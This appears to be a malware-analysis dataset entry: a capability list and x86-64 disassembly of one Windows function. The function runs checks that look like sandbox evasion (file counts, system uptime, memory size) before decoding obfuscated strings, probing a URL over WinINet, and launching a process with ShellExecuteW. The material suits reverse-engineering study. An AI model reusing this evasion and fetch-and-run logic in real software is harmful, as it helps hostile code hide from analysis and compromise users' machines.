Function at 0x140006270
Capabilities:
Check http status code
Create http request
Create process on windows
Enumerate files on windows
Get common file path
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x14003c180]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
mov ecx, 0x10
call fcn.140018e90
mov rbx, rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], al
mov dword [rsp + 0x74], 0x3a
mov dword [rsp + 0x78], 0x77
mov dword [rsp + 0x7c], 6
movdqa xmm0, xmmword [0x140031ed0]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140032060]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x140031f10]
movdqa xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0x26
lea rcx, [rsp + 0x60]
call fcn.140008170
test rbx, rbx
je 0x140006328
test rax, rax
je 0x140006328
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
mov ecx, 0x10
call fcn.140018e90
mov r13, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], al
mov dword [rsp + 0x74], 0x6f
mov dword [rsp + 0x78], 0x74
mov dword [rsp + 0x7c], 0x30
movdqa xmm0, xmmword [0x140031d20]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140031ea0]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x140032100]
movdqa xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], 0x64
lea rcx, [rsp + 0x60]
call fcn.140007d40
test r13, r13
je 0x1400063a5
test rax, rax
je 0x1400063a5
movups xmm0, xmmword [rax]
movups xmmword [r13], xmm0
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002d740]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x1400063e1
mov rcx, qword [rsp + 0x30]
call fcn.1400060e0
mov edi, eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
cmp edi, 6
setl al
jmp 0x1400063e6
mov eax, 1
test eax, eax
jne 0x140006f43
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x40]
call fcn.1400030b0
mov rbx, qword [rsp + 0x40]
mov rdi, rbx
mov rsi, qword [rsp + 0x48]
cmp rbx, rsi
je 0x140006469
mov r14, qword [0x14003c1d0]
mov r12, qword [0x14003c1c8]
mov r15, qword [0x14003c1b8]
nop
lea r9, [0x14003c1b8]
cmp r14, 0x10
cmovae r9, r15
mov rcx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x14000644c
mov rcx, qword [rdi]
mov qword [rsp + 0x20], r12
mov rdx, qword [rdi + 0x10]
call fcn.1400116c0
cmp rax, 0xffffffffffffffff
jne 0x1400064b9
add rdi, 0x20
cmp rdi, rsi
jne 0x140006430
test rbx, rbx
je 0x140006f3e
mov rdx, rsi
mov rcx, rbx
call fcn.140011910
mov rdx, qword [rsp + 0x50]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006f36
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rbx, rbx
je 0x1400064fe
mov rdx, rsi
mov rcx, rbx
call fcn.140011910
mov rdx, qword [rsp + 0x50]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400064f6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
mov rcx, rbx
call fcn.14002acdc
xor r15d, r15d
mov edi, r15d
mov qword [rsp + 0x30], r15
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002d750]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140006f3e
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400104f0
lea rdx, str..
lea rcx, [rsp + 0x60]
call fcn.140011050
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000659c
nop
test byte [rbp + 0xa0], 0x10
lea ecx, [rdi + 1]
cmovne ecx, edi
mov edi, ecx
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140006570
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x1400065ec
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400065e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002acdc
cmp edi, 5
jle 0x140006f3e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x75300
jb 0x140006f3e
call fcn.140003660
test al, al
jne 0x140006f3e
call fcn.140003850
test eax, eax
jne 0x140006f3e
mov dword [rsp + 0x60], 0x40
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x68]
xorps xmm1, xmm1
test rcx, rcx
js 0x140006647
cvtsi2sd xmm1, rcx
jmp 0x14000665c
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [0x140031c58]
movsd xmm0, qword [0x140031c60]
mov rbx, qword [rsp + 0x38]
comisd xmm0, xmm1
ja 0x140006f43
mov rdx, r13
mov rcx, rbx
call fcn.140004140
test eax, eax
jne 0x140006f43
lea rdx, str.uj1_xFSbtGbiBdPj0u4rYBWQ5YxLvCNx_4p8SscUlJhXg5Q_3b_Tvc5reU6Sz0xFbiwfxEm2FCD0jJdg9p2nX9AEhsaKUJe_LhhCkIr5qWGrTPsVHpHNrI1SEzlecDGvWXxCTE3P0sRrfsbTIqT7Ig
lea rcx, [rbp + 0xa0]
call fcn.140007c80
mov rdi, rax
mov r8, rax
lea r9, [rax + 0xa0]
mov esi, 0x4c
mov r10d, esi
nop word [rax + rax]
mov ecx, 0xe
sub ecx, dword [r9 - 4]
imul ecx, ecx, 0x2a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [r8], cl
mov eax, 0xe
sub eax, dword [r9]
imul ecx, eax, 0x2a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [r8 + 1], cl
lea r9, [r9 + 8]
lea r8, [r8 + 2]
sub r10, 1
jne 0x1400066c0
mov byte [rdi + 0x98], r15b
mov rdx, rdi
lea rcx, [rbp + 0x80]
call fcn.1400107b0
mov r9, r13
mov r8, rbx
lea rdx, [rbp + 0x80]
lea rcx, [rbp]
call fcn.140003b10
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
add r8, rdx
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rsp + 0x40]
call fcn.140011570
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Baidu
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
je 0x140006844
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov edx, 0x20000013
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [rsp + 0x38], 0x194
jne 0x14000688c
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140006882
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000687d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400068c5
call fcn.14002acdc
call fcn.140005f30
jmp 0x140006e90
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400068d1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400068cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400068cc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002acdc
lea rdx, str.uj1_xFSbtGbiBdPj0u4rYBWQ5YxLvCNx_4p8SscUlJhXg5Q_3b_Tvc5reU6Sz0xFbiwfxEm2FCD0jJdg9p2nX_qlaFKUGmqXqgHDOIGHKMNvaqQUuGUVC375ttcQWTSwJdYSexGP8m2UipDqaC67A
lea rcx, [rbp + 0xa0]
call fcn.140007bc0
mov rdi, rax
mov r8, rax
lea r10, [rax + 0xa0]
mov ecx, 0x4f
sub ecx, dword [r10 - 4]
imul ecx, ecx, 0x1a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [r8], cl
mov eax, 0x4f
sub eax, dword [r10]
imul ecx, eax, 0x1a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [r8 + 1], cl
lea r10, [r10 + 8]
lea r8, [r8 + 2]
sub rsi, 1
jne 0x1400068f1
mov byte [rdi + 0x98], r15b
mov rdx, rdi
lea rcx, [rbp + 0x60]
call fcn.1400107b0
mov r9, r13
mov r8, rbx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x40]
call fcn.140003b10
lea r9d, [rsi + 0x40]
lea r8, [0x14003169c]
lea rdx, str._g0W
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xc0], ax
mov byte [rbp + 0xc2], al
mov dword [rbp + 0xc4], 0x1b
mov dword [rbp + 0xc8], 0x71
mov dword [rbp + 0xcc], 0x1c
movdqa xmm0, xmmword [0x140032190]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [0x140031e00]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [0x140032040]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [0x140032020]
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmm0, xmmword [0x1400321d0]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x140031f80]
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmm0, xmmword [0x140031d60]
movdqa xmmword [rbp + 0x130], xmm0
mov dword [rbp + 0x140], 0x45
mov dword [rbp + 0x144], 0x55
mov dword [rbp + 0x148], 0x45
lea rcx, [rbp + 0xa0]
call fcn.1400072e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1400107b0
xor eax, eax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], eax
mov byte [rsp + 0x6c], al
movdqa xmm0, xmmword [0x140031fb0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140031e80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140031de0]
movdqa xmmword [rbp - 0x70], xmm0
lea rcx, [rsp + 0x60]
call fcn.140006fb0
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400107b0
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140005d40
mov r9, r13
mov r8, rbx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140005770
test al, al
je 0x140006d14
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x30]
add r8, rdx
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140011570
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
add r8, rdx
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.140011570
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rsp + 0x58]
cmp rax, 0x20
jle 0x140006c82
cmp rdx, 8
jb 0x140006c04
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006bff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006d08
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c80]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140006c5a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006d08
call fcn.14002acdc
lea rdx, [0x1400316c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011360
mov rcx, rax
lea rdx, [0x140011530]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140006d14
cmp rdx, 8
jb 0x140006cbb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006d08
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c80]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140006d14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d0f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002acdc
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140006d4f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r15b
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140006d9b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r15b
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140006de7
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006de2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], r15b
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140006e33
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], r15b
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140006e7f
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], r15b
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140006ecb
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006ec6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r15b
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140006f1d
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b2
call fcn.14002acdc
movdqa xmm0, xmmword [0x140031c90]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], r15b
jmp 0x140006f49
mov rcx, rbx
call fcn.14002acdc
mov rbx, qword [rsp + 0x38]
call fcn.140005f30
nop
test r13, r13
je 0x140006f63
mov rdi, r13
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, r13
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
test rbx, rbx
je 0x140006f7d
mov rdi, rbx
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
xor eax, eax
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.14002aa20
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret